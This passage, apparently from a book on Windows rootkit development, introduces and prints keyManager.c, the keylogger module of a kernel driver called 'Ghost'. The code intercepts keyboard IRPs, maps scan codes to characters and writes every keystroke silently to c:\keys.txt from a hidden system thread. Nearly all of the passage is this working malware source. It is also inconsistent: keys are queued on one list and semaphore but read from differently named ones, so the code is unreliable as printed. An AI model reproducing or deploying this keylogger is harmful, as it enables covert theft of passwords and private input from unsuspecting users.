The file keyManager.c is the main focus of this chapter. This is where the logging thread is started and stopped, where the completion routine is registered, and where key data is decoded before being written to the log file. These functions are detailed following the file listing:
// keyManager // Copyright Ric Vieler, 2006 // Keylogger routines #include "ntddk.h" #include "Ghost.h" #include "keyManager.h" #include "ntddkbd.h" extern KEYBOARD_STRUCT keyboardData; extern PDEVICE_OBJECT oldKeyboardDevice; char keyMap[84] = {NUL,NUL,'1','2','3','4','5','6','7','8', '9','0','-','=',NUL,NUL,'q','w','e','r', 't','y','u','i','o','p','[',']',ENTER,CTRL, 'a','s','d','f','g','h','j','k','l',';', '\'','`',LSHIFT,'\\','z','x','c','v','b','n', 'm',',','.','/',RSHIFT,NUL,ALT,SPACE,NUL,NUL, NUL,NUL,NUL,NUL,NUL,NUL,NUL,NUL,NUL,NUL, NUL,'7','8','9',NUL,'4','5','6',NUL,'1', '2','3','0'}; char shiftKeyMap[84] = {NUL,NUL,'!','@','#','$','%','^','&','*', '(',')','_','+',NUL,NUL,'Q','W','E','R', 'T','Y','U','I','O','P','{','}',ENTER,NUL, 'A','S','D','F','G','H','J','K','L',':', '"','~',LSHIFT,'|','Z','X','C','V','B','N', 'M','<','>','?',RSHIFT,NUL,NUL,SPACE,NUL,NUL, NUL,NUL,NUL,NUL,NUL,NUL,NUL,NUL,NUL,NUL, NUL,'7','8','9',NUL,'4','5','6',NUL,'1', '2','3','0'}; NTSTATUS OnKeyboardRead( PDEVICE_OBJECT pDeviceObject, PIRP Irp, PIO_STACK_LOCATION irpStack ) { NTSTATUS status; PIRP newIrp; PIO_STACK_LOCATION newirpStack; // create new irp newIrp = IoAllocateIrp( pDeviceObject->StackSize, FALSE ); IoSetNextIrpStackLocation( newIrp ); newirpStack = IoGetCurrentIrpStackLocation( newIrp ); newIrp->AssociatedIrp.SystemBuffer = Irp->AssociatedIrp.SystemBuffer; newIrp->RequestorMode = KernelMode; // Irp->RequestorMode; newIrp->Tail.Overlay.Thread = Irp->Tail.Overlay.Thread; newIrp->Tail.Overlay.OriginalFileObject = Irp->Tail.Overlay.OriginalFileObject; newIrp->Flags = Irp->Flags; newirpStack->MajorFunction = IRP_MJ_READ; newirpStack->MinorFunction = irpStack->MinorFunction; newirpStack->Parameters.Read = irpStack->Parameters.Read; newirpStack->DeviceObject = pDeviceObject; newirpStack->FileObject = irpStack->FileObject; newirpStack->Flags = irpStack->Flags; newirpStack->Control = 0; IoCopyCurrentIrpStackLocationToNext( newIrp ); IoSetCompletionRoutine( newIrp, OnReadCompletion, Irp, TRUE, TRUE, TRUE ); // save old irp Irp->Tail.Overlay.DriverContext[0] = newIrp; ExInterlockedInsertHeadList( &keyboardData.irpList, &Irp->Tail.Overlay.ListEntry, &keyboardData.irpLock ); // set cancel routine to allow driver to unload IoSetCancelRoutine( Irp, OnCancel ); // pass new irp in place of old irp status = IoCallDriver( oldKeyboardDevice, newIrp ); if( status == STATUS_PENDING ) return status; status = Irp->IoStatus.Status; IoCompleteRequest( Irp, IO_KEYBOARD_INCREMENT ); return status; } NTSTATUS OnReadCompletion(IN PDEVICE_OBJECT pDeviceObject, IN PIRP pIrp, IN PVOID Context) { PIRP origIrp; KIRQL aIrqL; BOOL found = FALSE; if( pIrp->Cancel ) { // driver unloading IoFreeIrp( pIrp ); return STATUS_MORE_PROCESSING_REQUIRED; } // get original irp origIrp = (PIRP)Context; // find and delete the original irp KeAcquireSpinLock( &keyboardData.irpLock, &aIrqL ); { PLIST_ENTRY listEntry; listEntry = keyboardData.irpList.Flink; while( (listEntry != &origIrp->Tail.Overlay.ListEntry) && (listEntry != &keyboardData.irpList) ) { listEntry = listEntry->Flink; } found = (listEntry == &origIrp->Tail.Overlay.ListEntry); if( found ) RemoveEntryList( &origIrp->Tail.Overlay.ListEntry ); } KeReleaseSpinLock( &keyboardData.irpLock, aIrqL ); // propagate irp if pending if( pIrp->PendingReturned ) { IoMarkIrpPending( pIrp ); if( found ) IoMarkIrpPending( origIrp ); } // process the key if( pIrp->IoStatus.Status == STATUS_SUCCESS ) { int i; int numKeys; PKEYBOARD_INPUT_DATA keys; KEY_DATA* keyData; keys = (PKEYBOARD_INPUT_DATA)pIrp->AssociatedIrp.SystemBuffer; numKeys = pIrp->IoStatus.Information / sizeof(KEYBOARD_INPUT_DATA); for( i = 0; i < numKeys; i++ ) { // get key keyData = (KEY_DATA*)ExAllocatePool( NonPagedPool, sizeof(KEY_DATA) ); keyData->KeyData = (char)keys[i].MakeCode; keyData->KeyFlags = (char)keys[i].Flags; // give key to key queue ExInterlockedInsertTailList( &keyboardData.keyList, &keyData->ListEntry, &keyboardData.keyLock ); // tell logging thread to read key queue KeReleaseSemaphore( &keyboardData.keySemaphore, 0, 1, FALSE ); } } if( found ) { // complete the orig irp origIrp->IoStatus.Status = pIrp->IoStatus.Status; origIrp->IoStatus.Information = pIrp->IoStatus.Information; IoSetCancelRoutine( origIrp, NULL ); if( pIrp->PendingReturned ) IoCompleteRequest( origIrp, IO_KEYBOARD_INCREMENT ); } // free the new irp IoFreeIrp( pIrp ); return STATUS_MORE_PROCESSING_REQUIRED; } void GetKey(KEY_DATA* keyData, char* key) { char mappedKey; // map the key code into a key mappedKey = keyMap[keyData->KeyData]; // process mapped key switch( mappedKey ) { case CTRL: if( keyData->KeyFlags == KEY_MAKE ) keyboardData.keyState.CtrlKey = TRUE; else keyboardData.keyState.CtrlKey = FALSE; break; case ALT: if( keyData->KeyFlags == KEY_MAKE ) keyboardData.keyState.AltKey = TRUE; else keyboardData.keyState.AltKey = FALSE; break; case LSHIFT: if( keyData->KeyFlags == KEY_MAKE ) keyboardData.keyState.ShiftKey = TRUE; else keyboardData.keyState.ShiftKey = FALSE; break; case RSHIFT: if( keyData->KeyFlags == KEY_MAKE ) keyboardData.keyState.ShiftKey = TRUE; else keyboardData.keyState.ShiftKey = FALSE; break; case ENTER: if(( keyboardData.keyState.AltKey != TRUE ) && ( keyData->KeyFlags == KEY_BREAK )) { key[0] = 0x0D; key[1] = 0x0A; } break; case SPACE: if(( keyboardData.keyState.AltKey != TRUE ) && ( keyData->KeyFlags == KEY_BREAK )) key[0] = 0x20; break; default: if(( keyboardData.keyState.AltKey != TRUE ) && ( keyboardData.keyState.CtrlKey != TRUE ) && ( keyData->KeyFlags == KEY_BREAK )) { if(( mappedKey >= 0x21 ) && ( mappedKey <= 0x7E )) { if( keyboardData.keyState.ShiftKey == TRUE ) key[0] = shiftKeyMap[keyData->KeyData]; else key[0] = mappedKey; } } break; } } NTSTATUS InitializeLogThread(IN PDRIVER_OBJECT pDriverObject) { HANDLE hThread; NTSTATUS status; keyboardData.terminateFlag = FALSE; status = PsCreateSystemThread( &hThread, (ACCESS_MASK)0, NULL, (HANDLE)0, NULL, KeyLoggerThread, NULL ); if( !NT_SUCCESS( status ) ) { DbgPrint("comint32: Failed to create key log thread"); return status; } ObReferenceObjectByHandle( hThread, THREAD_ALL_ACCESS, NULL, KernelMode, (PVOID*)&keyboardData.threadObject, NULL ); ZwClose( hThread ); return status; } VOID KeyLoggerThread(PVOID StartContext) { char key[3]; NTSTATUS status; PLIST_ENTRY pListEntry; KEY_DATA* keyData; while( TRUE ) { // wait for a key KeWaitForSingleObject( &keyboardData.queueSemaphore, Executive, KernelMode, FALSE, NULL ); pListEntry = ExInterlockedRemoveHeadList( &keyboardData.queueList, &keyboardData.queueLock ); if( keyboardData.terminateFlag == TRUE ) PsTerminateSystemThread( STATUS_SUCCESS ); // get base address of instance keyData = CONTAINING_RECORD( pListEntry, KEY_DATA, ListEntry ); // convert scan code to key key[0] = key[1] = key[2] = 0; GetKey( keyData, key ); if( key[0] != 0 ) { if(keyboardData.hLogFile != NULL) { IO_STATUS_BLOCK io_status; status = ZwWriteFile(keyboardData.hLogFile, NULL, NULL, NULL, &io_status, &key, strlen(key), NULL, NULL); } } } return; } void StartKeylogger(PDRIVER_OBJECT pDriverObject) { IO_STATUS_BLOCK statusBlock; OBJECT_ATTRIBUTES attributes; STRING ansiName; UNICODE_STRING unicodeName; CCHAR asciiName[64] = "\\DosDevices\\c:\\keys.txt"; // initialize keyboardData InitializeLogThread( pDriverObject ); InitializeListHead( &keyboardData.keyList ); KeInitializeSpinLock( &keyboardData.keyLock ); KeInitializeSemaphore( &keyboardData.keySemaphore, 0 , MAXLONG ); InitializeListHead( &keyboardData.irpList ); KeInitializeSpinLock( &keyboardData.irpLock ); // create key log RtlInitAnsiString( &ansiName, asciiName ); RtlAnsiStringToUnicodeString( &unicodeName, &ansiName, TRUE ); InitializeObjectAttributes( &attributes, &unicodeName, OBJ_CASE_INSENSITIVE, NULL, NULL ); ZwCreateFile( &keyboardData.hLogFile, GENERIC_WRITE, &attributes, &statusBlock, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0 ); RtlFreeUnicodeString( &unicodeName ); DbgPrint("comint32: Log thread started"); } void StopKeylogger( PDEVICE_OBJECT* ppOldDevice, PDEVICE_OBJECT* ppNewDevice ) { KIRQL irql; LIST_ENTRY forwarding_list; IoDetachDevice( *ppOldDevice ); InitializeListHead( &forwarding_list ); // cancel pending irps KeAcquireSpinLock( &keyboardData.irpLock, &irql ); { PLIST_ENTRY listEntry; listEntry = keyboardData.irpList.Flink; while( listEntry != &keyboardData.irpList ) { PIRP newIrp, Irp; Irp = (PIRP)(CONTAINING_RECORD( listEntry, IRP, Tail.Overlay.ListEntry )); newIrp = (PIRP)(Irp->Tail.Overlay.DriverContext[0]); // must advance listEntry before unlinking listEntry = listEntry->Flink; if( newIrp ) { // cancel created irp if( IoCancelIrp( newIrp ) ) { // add original irp to forwarding list Irp->Tail.Overlay.DriverContext[0] = NULL; IoSetCancelRoutine( Irp, NULL ); RemoveEntryList( &Irp->Tail.Overlay.ListEntry ); InsertHeadList( &forwarding_list, &Irp->Tail.Overlay.ListEntry ); } } } } KeReleaseSpinLock( &keyboardData.irpLock, irql ); // forward original irps while( !IsListEmpty( &forwarding_list ) ) { PLIST_ENTRY listEntry; PIRP Irp; listEntry = RemoveHeadList( &forwarding_list ); Irp = (PIRP)(CONTAINING_RECORD( listEntry, IRP, Tail.Overlay.ListEntry )); IoSkipCurrentIrpStackLocation( Irp ); IoCallDriver( oldKeyboardDevice, Irp ); } // delete keyboard device IoDeleteDevice( *ppNewDevice ); // terminate logging thread keyboardData.terminateFlag = TRUE; KeReleaseSemaphore( &keyboardData.keySemaphore, 0, 1, TRUE); KeWaitForSingleObject( keyboardData.threadObject, Executive, KernelMode, FALSE, NULL); // close key log file ZwClose( keyboardData.hLogFile ); DbgPrint("comint32: Log thread stopped"); } void OnCancel( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp ) { PIRP newIrp; KIRQL irql; PLIST_ENTRY listEntry; int found = FALSE; IoSetCancelRoutine( Irp, NULL ); IoReleaseCancelSpinLock( Irp->CancelIrql ); // remove associated irp KeAcquireSpinLock( &keyboardData.irpLock, &irql ); { listEntry = keyboardData.irpList.Flink; while( (listEntry != &Irp->Tail.Overlay.ListEntry) && (listEntry != &keyboardData.irpList) ) { listEntry = listEntry->Flink; } found = ( listEntry == &Irp->Tail.Overlay.ListEntry ); if( found ) RemoveEntryList( &Irp->Tail.Overlay.ListEntry ); } KeReleaseSpinLock( &keyboardData.irpLock, irql ); // process cancellation Irp->IoStatus.Status = STATUS_CANCELLED; Irp->IoStatus.Information = 0; newIrp = (PIRP)Irp->Tail.Overlay.DriverContext[0]; IoCompleteRequest( Irp, IO_KEYBOARD_INCREMENT ); if( newIrp ) IoCancelIrp( newIrp ); return; }